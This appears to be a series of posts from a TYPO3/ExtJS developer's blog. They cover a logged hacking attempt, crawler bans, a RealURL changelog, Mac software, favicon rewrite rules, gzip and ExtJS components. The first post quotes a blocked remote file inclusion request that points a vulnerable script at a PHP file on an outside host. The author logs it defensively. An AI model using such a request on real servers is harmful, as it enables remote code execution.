Hacking attempt

Here is a hacking attempt coming from a Russian AGAVA Internet provider: 

--8920bc48-A--
[13/Oct/2009:21:03:12 +0300] 3Auc3X8AAAIAACKqdxMAAACG 89.108.122.160 58387 213.21.217.206 80
--8920bc48-B--
GET /%20%20/?subdir=http://ihent.ru/id1.txt? HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: xxx
User-Agent: Mozilla/5.0

Have a look to the referred script. This is one just outputs something but often there are very sophisticated scripts. I saw one which tried to fill hard disk with various random garbage until space was exhausted. This would make ssh logins and quick recovery impossible.

There were many requests like this one, all caught.

Persisting spider

Some Korean people seem not to understand that they are not welcome. robots.txt says they are not allowed to index the site. They still do it: 

--cde7352d-A--
[13/Oct/2009:21:01:16 +0300] 1SbJMn8AAAIAACJ4T0kAAABF 61.247.222.82 50325 213.21.217.206 80
--cde7352d-B--
GET /xxx HTTP/1.1
Host: xxx
Accept-Language: ja,en;q=0.5
User-Agent: Yeti/1.0 (NHN Corp.; help.naver.com/robots/)
Connection: close
Accept: */*

I banned one /20 subnet, now they came from a broader one. Well, I'll continue banning them. What else can I do if I do not want them here?

Looks like somebody stupid took this sample and tried to build some kind of bot with it. This bot tried to grab the site in a very aggressive way, requesting the same page many times. What did it earn in the end? A permanent ban for IP address and this user agent on all my servers.

• Fixed bug #11393: 2 folder with "exclude from speaking URL" - 404Error
• Fixed bug #9545: "exclude from speaking url segment" doesn't work if there are two or more pages with the flag in the same directory
• Fixed bug #12137: Field field_alias in table tx_realurl_uniqalias too small when using CONCAT_WS('-',verylongfieldname,other...) in alias_field
• Fixed bug #11042: Wrong behaviuor of exclude from speaking url parameter
• Fixed bug #9877: Problems with PD-Admin
• Fixed bug #10329: Speaking URL path segment disappered from page overlay
• Changed index bk_realurl02 (shorter key)
• Commented TCEmain hook: it needs a better way of handling page renames
• Fixed bug #9976: realurl stops working when encodeSpURL_postProc hook is used
• Fixed bug #11873: Error in dokumentation decodeSpURL_postProc does not exist
• Fixed bug #11347: Strip Tags in Titles
• Fixed bug #11777: Add new field "spurl_string" to tx_realurl_chashcache that makes it easier to debug the contents of this table
• Fixed bug #9267: "bad" line in realurl manual
• Removed ereg_* functions (deprecated in PHP 5.3)
• Small fixes in the redirect module
• Replace cHash with the one provided in the query string (Snowflake fix)
• Reworked redirects module
• Fixed problem: if default language uid is not 0 and language is not set in the URL, RealURL still used 0
• Changed layout and fields in the 'Redirects' function
• Removed 'Clear cache' on extension update
• Changed cHash table to use a full md5 string as URL hash. This makes less possible to create wrong cHashes.
• Use full URL in redirects to prevent wrong redirects
• Removed a method to find root page id by is_siteroot check
• Fixed double call to findRootPageId() when using _DOMAINS
• Added pages_language_overlay to modified_tables to make EM happy
• Removed hash from tx_realurl_pathcache and optimized the whole handling of this cache with additional indexes
• Added strict mode with more checks for the configuration
• Added a call to pageNotFound and exit if incoming URL cannot be parsed

• Exposé in Dock
• Minimize to the same icon instead of adding extra icon to the Dock
• Loads and in general works faster
• Remembers language settings for each application. Now I can type in Russian in Skype, in Latvia in the web browser and in English in NetBeans without using language switch

What I did not like:

• Safari plugins lost
• huge icons in stacks with no way to make them smaller
• PHP 5.3 and no way to downgrade to 5.2.x

It took 1 hour 15 minutes to update my MacBook Pro. In general it was a good update.

Now Snow Leopard is out. PGP Inc promised to release a Snow Leopard–compatible version of WDE together with the Snow Leopard release. They failed. Instead they offered a beta program where anybody can sign up. I signed up twice. No good. Not even a single response from PGP.

PGP keeps complete silence about updating WDE for Snow Leopard. I waited for weeks but now I decided to get rid of WDE. It is a bad attitude to customers, when PGP continues to keep silence while users actively ask about the status of the software.

I decided to get rid of WDE and install Snow Leopard. If PGP Inc fails to keep its promises and ignores its customers, than I am no longer a customer of PGP Inc. That ends PGP product usage for me.

Some years ago I tried running Zend Debugger with XDebug and it did not go: the server simply refused to start because of PHP initialization error. It was a Zend precaution against third party extensions that may prevent debugging.

Today I decided to try again and I found that it works! The only requirement is that XDebug is loaded before the Zend debugger. It will not be possible to debug with XDebug but profiling and enhanced error reporting works perfectly.

Whether it is accidental or not, I have no idea. But I really like that Zend allowed XDebug loading in parallel with Zend debugger. It makes developer's life even better.

Thank you, Zend, again!

Today I happy to say that Zend released this version for public use. Read the announcement made by Roy Ganor about it.

E–mail's informational value or size did not change much after I replaced some text with lorem ipsum. All really relevant parts are kept.

Please, let me know your opinion in comments.

This is not a single example. I find that Google relelvancy becomes worse and worse. It is much harder to find what you are really looking for. Blind search shows me that Yahoo is now better than Google and Bing is nearly the same as Google.

Will Google loose the battle?

I do welcome MSIE6 support drop from major market players! It means that users will start to upgrade and we (web developers) can finally get rid of this old and badly working browser.

Since YouTube belongs to Google, it can be a first step for Google to drop MSIE6 support. If Google does it, it would be a big help to all web developers around.

Google, please?!

First impressions are good. I never was a fan of Adobe products but CS3 is suprisingly good. For example, Photoshop Extended open faster than Photoshop Elements. I am not sure how it can be (Elements is supposed to be lighter). It also consumes less memory, opens files faster. Interesting fact is that Photoshop's user interface did not change since mid–nineties: still many scattered windows, still small ugly fonts. But on the other hand people are used to it, so changing it may cause certain invonvenience.

In overal I am very satisfied with the purcase. I got it for a good price and all professional possibilities are now open to me.

However not everyone can afford it. Adobe charges a lot for its products. Fortunately with Photoshop there is a much cheaper replacement: Adobe Photoshop Elements. It costs nearly $70 instead of $645 for the full Photoshop. Photoshop Elements is intended mainly for Photographers and amateur designers. It lacks many advanced powerful features of its full brother, such as layer sets, curves, etc.

Recently I got a PSD file. It had layer sets. Photoshop Elements cannot open layer sets. It shows them as a single non–editable group (note non–editable pencils on the right):

I searched the web for the way to open the group in the Photoshop Elements or to split the layer set into separate layers. I could find the way to do it but I found a better solution.

I found a plugin for the Photoshop Elements that enables many of the missing features. Since Photoshop and Photoshop Elements share the same code base, functions are there, they simply have no UI. The plugin adds the UI for these features (over 150 total). It costs $12. So for $70+$12 I was able to get more of the functionality of the full Photoshop that costs $645. Some features are available in full, others (like layer set ungrouping) are workarounds. In my case I was able to ungroup grouped layers:

I highly recommend this solution to anyone who cannot afford full Photoshop but have to edit PSD files created by Adobe's editor.

Nothing to do about it, just an interesting fact :)

<link rel="icon" type="image/gif" href="/fileadmin/icons/www.gif" />

In TYPO3 you can add it through the normal page.headerData or page.shortcutIcon TypoScript.

Luck ends here. The most popular browser, Microsoft Internet Explorer does not recognize this tag, requires the file to be named favicon.ico, be placed in the root of the web site and supports only Windows proprietary icon file format (.ico). So you can hardly have different icons for the Internet Explorer without tricks.

Creating icons

Creating Windows icons is easy if you have ImageMagick installed. Just execute:

convert www.gif www.ico

You can use any other tool but ImageMagick is probably the simplest, it converts without quality loss and preserves transparency.

Tricking Internet Explorer to show different icons

Next we have to trick Internet Explorer to receive different files for different sites that are physically located in the same file system space. As usual for such cases, mod_rewrite is our great friend. Assuming we have two icons for two domains, we use these rules in the virtual host configuration:

<LocationMatch "^/favicon.ico$">
    RewriteEngine On
    RewriteCond %{HTTP_HOST} ^www
    RewriteRule .* /fileadmin/icons/www.ico [L]
    RewriteCond %{HTTP_HOST} ^subdomain
    RewriteRule .* /fileadmin/icons/subdomain.ico [L]
</LocationMatch>

Note that we do not use 301 or 302 redirects. They do not work well with Internet Explorer. We have to do internal redirects.

This makes all requests to favicon.ico forwarded to proper real files.

I was notified that a seo24.at web site republished my article about TYPO3 performance optimization as their own thus violating my copyright. Here is their copy and here is the original. Pity to see that there are still people like this one. The could have asked and got permission immediately. Now I have to ban them from republishing anything from this site... I like to share and promote the knowledge but I hate content stealing in any form.

I learned a lot of things while working for many people using TYPO3. Among others, there is one most important learned thing: most people think they know the right solution and they only ask TYPO3 experts (like me) to implement that solution. Typically they say: "We want you to make this thing to work like that". They think that the problem will be solved and their own customer will be fully satisfied. They are wrong, of course.

Time goes, I implement what I was asked to implement precizely to the last dot. Their customer says that the solution is a complete crap. The company who ordered the solution to me says that I need to implement something else. Again, they decide on the solution themselves and refuse to let me know the original requirements of the customer. Ok, they are clients for me, so I do what they ask. Their customer is dissatisfied again. Now the company who orders my services starts to think who did wrong. Of course, they will blame me in such case. Usually I show them their own requirements and ask to point me where I screwed up. Of course, they fail to show it because I implemented everything exactly as I was asked. Finally they tell me what their customer wants. I ask a couple of questions and we all find that the solution could me much cheaper, faster and easier than they planned and asked me to make. But now they have to pay me for the already made work plus the new work! And most likely the customer will not come back to them again because they screwed up at least twice.

What's the idea behind all this?

You may think you know how to solve it but it is not necessarily the best way. Pride is not the best thing in business and it is definitely not professional to hire a more competent person for mechanical work. Experts are there not to code you yet another workspaces tweak, they are to solve your initial problem using the most efficient, simple and bullet–proof way.

Don't use a brick of gold as a hummer! Tell me what you want to achieve, not how you think it can be achieved. I may give you a better solution because I am an expert. It is my job to give you a better solution when it comes to TYPO3. Have your client and charge him! But let me find a way to leave your client satisfied and your business growing! Be smart, not proud.

Don't say me how to do it, say me what your customer wants and I will solve it for you and him!

But there is a drawback of the gzip compression that many people do not realize.

In the early Apache 1.x days mod_gzip had a very nice feature: file cache for the compressed content. mod_deflate in Apache 2 does not have any caching for the compressed content. It means that downloading 500KB of ExtJS with compression means compression this file each time. If there is no client cache or mod_proxy, this becomes a major problem. It seriously increases the load on the server. Also it slows down the response time because the file has to be compressed each time. It is a serious issue to consider for large web sites. Even client caching is not a solution.

The solution that I use for such cases is a pre–compression of such files. Then I use a mod_rewrite checks and rules to rewrite requests to these files to their compressed versions. It speeds up the loading (by 1-2 seconds in case of ExtJS).

Recently I decided to change my development practices completely. Earlier I followed the traditional way: PHP implementation first, UI last. Now I do the opposite: UI first, PHP next.

The interesting consequences of this methods are:

• UI becomes more friendly to the user. This happens because the UI is not affected or limited by the underlying PHP implementation. User's satisfaction is a very important factor these days. Anyone can build the application these days. Those who can do it more friendly — win.
• PHP implementation now serves the UI, not the opposite. It makes PHP code more structured because it becomes task–oriented. Also it speeds up the implementation time because I can develop task by task.

When the UI uses ExtJS, such development tactics become even more efficient. For example, for the rest application I completely created the UI part using static JSON files for the sample data. Now I implement PHP part for each UI part. I implement only what is necessary for the UI, not what could be necessary. Simple, fast and effective.

Since ExtJS is an object–oriented JavaScript framework, the same principle should be used there.

Recently I had to create a numerous ExtJS components for one project. There are numerous ExtJS examples on the web, which show complex components but often they do not follow the encapsulation principle. I decided to make it the "right way" and I am going to show how.

ExtJS panels in action

ExtJS panels is the most generic way to display content in ExtJS. Panel can either show an HTML content or serve as a container for other items (such as grids, trees, charts, etc). Imagine you need to put a data view into the panel and next put the panel to a tab panel. This is how many example will suggest it to be:

var tabPanel = ...;
var panel = new Ext.Panel({
    ...
    items: new Ext.DataView({
        ...
        store: new Ext.data.JsonStore({
            ...
        }),
        tpl: new Ext.XTemplate(
            '<ul>',
                '<tpl for=".">',
                    '<li>{mydata}</li>',
                '</tpl>',
            '</ul>',
        ),
        ...
    }),
    ...
});
tabPanel.add(panel).show();

This works. However if you need to change the template or if the store has a lot of fields, the whole piece of code becomes huge and eventually unmaintaibable. It may spread over hundreds of lines.

How to make it better?

ExtJS panels as a custom component

The solution is to make a custom component from the ExtJS panel. For that we create a separate file (not a requirement but convenience) and place the following content there:

Ext.onReady(function() {
    Ext.namespace('example');

    example.MyComponent = Ext.extend(Ext.Panel, {
        // Put panel specific options here, for example:
        autoHeight: true,
        bodyBorder: false,
        collapsible: true,
        cls: 'my-component',
        collapsible: true
    });
});

That isolates component–specific options inside the component. However it lacks the DataView. The reason for it is simple. When overriding panels, you can't set items property of the panel. ExtJS will override it in the Panel constructor with a null value. On order to create items you have to override the initComponent method like this:

Ext.onReady(function() {
    Ext.namespace('example');

    example.MyComponent = Ext.extend(Ext.Panel, {
        // Put panel specific options here, for example:
        autoHeight: true,
        bodyBorder: false,
        collapsible: true,
        cls: 'my-component',
        collapsible: true,

        /**
         * Initializes the component.
         */
        initComponent: function() {
            this.items = new Ext.DataView({
                ...
            });
            example.MyComponent.superclass.initComponent.call(this, arguments);
        }
    });
});

Notice that we must call parent class method in order to initialize the panel.

Now we encapsulated all component–specific options inside the component. Later if we decided to change DataView to GridPanel, we can do it easily inside a separate file without worrying about side effects on the rest of the application.

This is a first of my articles about ExtJS. I work with ExtJS much more than with TYPO3 these days and for some time will focus on ExtJS programming. If anyone has questions about ExtJS, you are welcome to send them to me and I will try to cover them on the blog.